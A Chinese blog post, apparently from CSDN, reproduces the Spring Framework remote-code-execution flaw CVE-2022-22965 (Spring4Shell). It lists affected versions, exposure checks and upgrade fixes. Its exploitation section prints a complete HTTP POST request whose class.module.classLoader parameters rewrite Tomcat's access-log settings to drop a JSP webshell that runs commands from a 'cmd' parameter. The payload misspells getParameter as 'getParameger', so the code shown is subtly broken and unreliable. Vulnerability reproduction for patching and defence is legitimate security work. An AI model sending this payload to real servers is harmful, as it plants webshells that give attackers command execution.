Spring RCE(CVE-2022-22965)漏洞复现POC

本文详细介绍了Spring框架中的CVE-2022-22965远程代码执行漏洞,影响范围包括Spring Framework 5.3.18及以下,5.2.20及以下版本,并在JDK 9及以上版本运行的应用。漏洞利用主要通过数据绑定进行,攻击者可以利用此漏洞执行任意代码。排查方法包括检查是否使用Spring框架、Spring参数绑定以及JDK版本。修复方案建议升级Spring框架至5.2.20或更高,或SpringBoot至2.6.6。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

漏洞编号

CVE-2022-22965

影响范围

受影响范围

  • Spring Framework < 5.3.18
  • Spring Framework < 5.2.20

及其衍生产品,且JDK>=9。

漏洞描述

Spring framework 是Spring 里面的一个基础开源框架,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。

漏洞排查:

(1)检测是否使用Spring框架,若未使用,则不存在该漏洞。

(2)检查项目是否使⽤Spring参数绑定,若未使用,则不存在该漏洞。

(3)检查中间件使用的JDK版本,若版本号小于9,则不存在该漏洞。

漏洞利用

源码下载链接:SpringRCE(CVE-2022-22965)漏洞复现源码下载-网络安全文档类资源-CSDN下载

 数据包:

POST /springdemo_war_exploded/index HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=14BB837A4803AA4B52899C09561216B6
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Cache-Control: max-age=0
suffix: %>
prefix: <%Runtime
Content-Type: application/x-www-form-urlencoded
Content-Length: 545

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di.getRuntime%28%29.exec%28request.getParameger%28%22cmd%22%29%29%3B%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.directory=D:/spring-rce/springdemo/src/main/webapp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell

修复方案

(1)Spring框架升级到5.2.20

(2)Spring Boot升级到2.6.6

(3)在使用Spring框架的服务器中执行“java –version”查看JDK版本,如果JDK版本在8及以下,则不受此漏洞影响。

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

午夜安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值